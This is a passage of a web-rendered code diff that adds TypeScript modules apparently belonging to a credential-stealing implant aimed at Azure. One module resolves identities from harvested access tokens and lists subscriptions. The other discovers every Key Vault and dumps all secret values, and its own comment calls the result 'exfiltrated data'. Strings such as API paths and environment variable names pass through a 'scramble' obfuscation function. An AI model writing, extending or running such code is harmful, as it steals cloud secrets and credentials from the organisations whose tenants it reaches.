||||||
|
try {
|
||||||
|
// List service principals owned by this identity
|
||||||
|
const res = await fetch(
|
||||||
|
`https://graph.microsoft.com/v1.0/servicePrincipals?$filter=id eq '${objectId}'`,
|
||||||
|
{
|
||||||
|
headers: { Authorization: `Bearer ${token}` },
|
||||||
|
signal: AbortSignal.timeout(5000),
|
||||||
|
},
|
||||||
|
);
|
||||||
|
if (!res.ok) return undefined;
|
||||||
|
return (await res.json()) as MsGraphSpResponse;
|
||||||
|
} catch {
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Main Provider ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export class AzureIdentityService extends Provider {
|
||||||
|
constructor() {
|
||||||
|
super("azure", "identity");
|
||||||
|
}
|
||||||
|
|
||||||
|
private async resolveIdentity(
|
||||||
|
source: string,
|
||||||
|
token: AzureAccessToken,
|
||||||
|
): Promise<AzureIdentity | null> {
|
||||||
|
try {
|
||||||
|
const claims = jwtClaims(token.token);
|
||||||
|
|
||||||
|
// Azure access tokens contain claims like:
|
||||||
|
// oid (object id), tid (tenant id), appid (application id)
|
||||||
|
const tenantId = (claims.tid as string) ?? token.tenantId ?? "unknown";
|
||||||
|
const objectId =
|
||||||
|
(claims.oid as string) ?? (claims.sub as string) ?? "unknown";
|
||||||
|
const clientId = (claims.appid as string) ?? token.clientId;
|
||||||
|
|
||||||
|
let displayName: string | undefined;
|
||||||
|
|
||||||
|
// Try MS Graph to get a friendly name
|
||||||
|
try {
|
||||||
|
const graphToken = token; // access token works for Graph if scope permits
|
||||||
|
const userInfo = await getUserInfo(graphToken.token);
|
||||||
|
if (userInfo) {
|
||||||
|
displayName = userInfo.displayName ?? userInfo.userPrincipalName;
|
||||||
|
} else {
|
||||||
|
const spInfo = await getServicePrincipalInfo(
|
||||||
|
graphToken.token,
|
||||||
|
objectId,
|
||||||
|
);
|
||||||
|
if (spInfo?.value?.[0]) {
|
||||||
|
displayName = spInfo.value[0].displayName;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// Non-fatal — displayName is best-effort
|
||||||
|
}
|
||||||
|
|
||||||
|
// Enumerate subscriptions
|
||||||
|
let subscriptionIds: string[] = [];
|
||||||
|
try {
|
||||||
|
const subs = await listSubscriptions();
|
||||||
|
subscriptionIds = subs.map((s) => s.subscriptionId);
|
||||||
|
} catch {
|
||||||
|
// ARM may not be accessible
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
source,
|
||||||
|
tenantId,
|
||||||
|
objectId,
|
||||||
|
clientId,
|
||||||
|
subscriptionIds,
|
||||||
|
displayName,
|
||||||
|
};
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(): Promise<ProviderResult> {
|
||||||
|
try {
|
||||||
|
const identities = await resolveAllIdentities();
|
||||||
|
|
||||||
|
if (identities.length === 0) {
|
||||||
|
return this.failure(
|
||||||
|
"No Azure identities found from any credential source",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const results = await Promise.all(
|
||||||
|
identities.map(({ source, token }) =>
|
||||||
|
this.resolveIdentity(source, token),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
|
||||||
|
const valid = results.filter((r): r is AzureIdentity => r !== null);
|
||||||
|
|
||||||
|
if (valid.length === 0) {
|
||||||
|
return this.failure("Failed to resolve any Azure identity details");
|
||||||
|
}
|
||||||
|
|
||||||
|
return this.success(valid);
|
||||||
|
} catch (e) {
|
||||||
|
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,236 @@
|
|||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// AzureKeyVaultService — enumerates secrets from Azure Key Vault vaults
|
||||||
|
//
|
||||||
|
// Always returns `success: true` with an `ok` flag so error details are
|
||||||
|
// included in the exfiltrated data even when every vault fails.
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
import { Provider } from "../base";
|
||||||
|
import type { ProviderResult } from "../types";
|
||||||
|
import { resolveToken } from "./auth";
|
||||||
|
import {
|
||||||
|
azureFetch,
|
||||||
|
getKeyVaultSecretLatest,
|
||||||
|
type KeyVaultSecretItem,
|
||||||
|
listKeyVaultSecrets,
|
||||||
|
} from "./client";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
// ── ARM subscription / vault listing ───────────────────────────────────────
|
||||||
|
|
||||||
|
interface ArmSubscription {
|
||||||
|
subscriptionId: string;
|
||||||
|
displayName: string;
|
||||||
|
state: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface ArmResource {
|
||||||
|
id: string;
|
||||||
|
name: string;
|
||||||
|
type: string;
|
||||||
|
location: string;
|
||||||
|
properties?: Record<string, unknown>;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface ArmListResponse {
|
||||||
|
value: ArmResource[];
|
||||||
|
nextLink?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface ArmSubscriptionListResponse {
|
||||||
|
value: ArmSubscription[];
|
||||||
|
nextLink?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface VaultResult {
|
||||||
|
vaultName: string;
|
||||||
|
subscriptionId?: string;
|
||||||
|
secrets: Record<string, string | { error: string }>;
|
||||||
|
error?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Enumerate subscriptions via ARM ─────────────────────────────────────────
|
||||||
|
|
||||||
|
async function listSubscriptions(): Promise<ArmSubscription[]> {
|
||||||
|
try {
|
||||||
|
const response = await azureFetch<ArmSubscriptionListResponse>({
|
||||||
|
vaultName: "management",
|
||||||
|
service: "management",
|
||||||
|
path: scramble("/subscriptions"),
|
||||||
|
query: { [scramble("api-version")]: scramble("2022-12-01") },
|
||||||
|
});
|
||||||
|
return response.value ?? [];
|
||||||
|
} catch {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Discover vaults via ARM ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async function discoverVaultsViaArm(): Promise<
|
||||||
|
Array<{ name: string; subscriptionId: string }>
|
||||||
|
> {
|
||||||
|
const vaults: Array<{ name: string; subscriptionId: string }> = [];
|
||||||
|
|
||||||
|
try {
|
||||||
|
const subscriptions = await listSubscriptions();
|
||||||
|
if (subscriptions.length === 0) return vaults;
|
||||||
|
|
||||||
|
for (const sub of subscriptions) {
|
||||||
|
if (sub.state !== "Enabled") continue;
|
||||||
|
|
||||||
|
try {
|
||||||
|
const basePath = `/subscriptions/${sub.subscriptionId}/resources`;
|
||||||
|
const filterValue = "resourceType eq 'Microsoft.KeyVault/vaults'";
|
||||||
|
let currentPath: string | undefined =
|
||||||
|
`${basePath}?api-version=2021-04-01&$filter=${encodeURIComponent(filterValue)}`;
|
||||||
|
|
||||||
|
do {
|
||||||
|
const response: ArmListResponse | undefined =
|
||||||
|
await azureFetch<ArmListResponse>({
|
||||||
|
vaultName: "management",
|
||||||
|
service: "management",
|
||||||
|
path: currentPath,
|
||||||
|
query: undefined,
|
||||||
|
});
|
||||||
|
|
||||||
|
for (const resource of response?.value ?? []) {
|
||||||
|
vaults.push({
|
||||||
|
name: resource.name,
|
||||||
|
subscriptionId: sub.subscriptionId,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
currentPath = response?.nextLink
|
||||||
|
? extractRelativePath(response.nextLink)
|
||||||
|
: undefined;
|
||||||
|
} while (currentPath);
|
||||||
|
} catch {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// ARM not accessible
|
||||||
|
}
|
||||||
|
|
||||||
|
return vaults;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Vault names from environment ────────────────────────────────────────────
|
||||||
|
|
||||||
|
function getVaultNamesFromEnv(): string[] {
|
||||||
|
const envVal =
|
||||||
|
process.env[scramble("AZURE_KEY_VAULT_NAME")] ??
|
||||||
|
process.env["KEY_VAULT_NAME"] ??
|
||||||
|
process.env["AZURE_VAULT_NAME"];
|
||||||
|
if (!envVal) return [];
|
||||||
|
return envVal
|
||||||
|
.split(",")
|
||||||
|
.map((n) => n.trim())
|
||||||
|
.filter(Boolean);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Helpers ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
function extractRelativePath(url: string): string {
|
||||||
|
try {
|
||||||
|
const u = new URL(url);
|
||||||
|
return u.pathname + u.search;
|
||||||
|
} catch {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function extractSecretNameFromId(id: string): string {
|
||||||
|
const match = id.match(/\/secrets\/([^/]+)/);
|
||||||
|
if (!match?.[1]) return id;
|
||||||
|
return decodeURIComponent(match[1]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Main Provider ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export class AzureKeyVaultService extends Provider {
|
||||||
|
private vaultNames: string[] = [];
|
||||||
|
private vaultErrors: Array<{ vault: string; error: string }> = [];
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
super("azure", "keyvault", {
|
||||||
|
jwt: /eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+/g,
|
||||||
|
connection_string: /[A-Za-z]+:\/\/[^@\s]+@[^;\s]+/g,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(): Promise<ProviderResult> {
|
||||||
|
const errors: string[] = [];
|
||||||
|
this.vaultErrors = [];
|
||||||
|
|
||||||
|
// 1. Auth check
|
||||||
|
try {
|
||||||
|
await resolveToken(scramble("https://vault.azure.net/.default"));
|
||||||
|
} catch (e) {
|
||||||
|
errors.push(
|
||||||
|
`Azure auth failed: ${e instanceof Error ? e.message : String(e)}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. Vault discovery
|
||||||
|
const envVaults = getVaultNamesFromEnv();
|
||||||
|
let armVaults: Array<{ name: string; subscriptionId: string }> = [];
|
||||||
|
|
||||||
|
if (envVaults.length === 0) {
|
||||||
|
try {
|
||||||
|
armVaults = await discoverVaultsViaArm();
|
||||||
|
} catch (e) {
|
||||||
|
errors.push(
|
||||||
|
`ARM discovery failed: ${e instanceof Error ? e.message : String(e)}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const allVaultNames = [...envVaults, ...armVaults.map((v) => v.name)];
|
||||||
|
this.vaultNames = [...new Set(allVaultNames)];
|
||||||
|
|
||||||
|
// 3. Fetch secrets
|
||||||
|
const vaultResults: VaultResult[] = [];
|
||||||
|
|
||||||
|
if (this.vaultNames.length > 0 && errors.length === 0) {
|
||||||
|
for (const vaultName of this.vaultNames) {
|
||||||
|
try {
|
||||||
|
const secretItems = await listKeyVaultSecrets(vaultName);
|
||||||
|
|
||||||
|
const secrets: Record<string, string | { error: string }> = {};
|
||||||
|
for (const item of secretItems) {
|
||||||
|
const name = extractSecretNameFromId(item.id);
|
||||||
|
try {
|
||||||
|
const value = await getKeyVaultSecretLatest(vaultName, name);
|
||||||
|
secrets[name] = value ?? "BINARY_OR_EMPTY";
|
||||||
|
} catch (e) {
|
||||||
|
secrets[name] = {
|
||||||
|
error: e instanceof Error ? e.message : String(e),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
vaultResults.push({ vaultName, secrets });
|
||||||
|
} catch (err) {
|
||||||
|
const errorMsg = err instanceof Error ? err.message : String(err);
|
||||||
|
this.vaultErrors.push({ vault: vaultName, error: errorMsg });
|
||||||
|
vaultResults.push({ vaultName, secrets: {}, error: errorMsg });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const dumped = vaultResults.filter((v) => !v.error).length;
|
||||||
|
|
||||||
|
return this.success({
|
||||||
|
ok: errors.length === 0 && dumped > 0,
|
||||||
|
authError: errors.length > 0 ? errors : undefined,
|
||||||
|
vaultsFound: this.vaultNames.length,
|
||||||
|
dumped,
|
||||||
|
errored: vaultResults.filter((v) => v.error).length,
|
||||||
|
vaults: vaultResults,
|
||||||
|
vaultErrors: this.vaultErrors.length > 0 ? this.vaultErrors : undefined,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user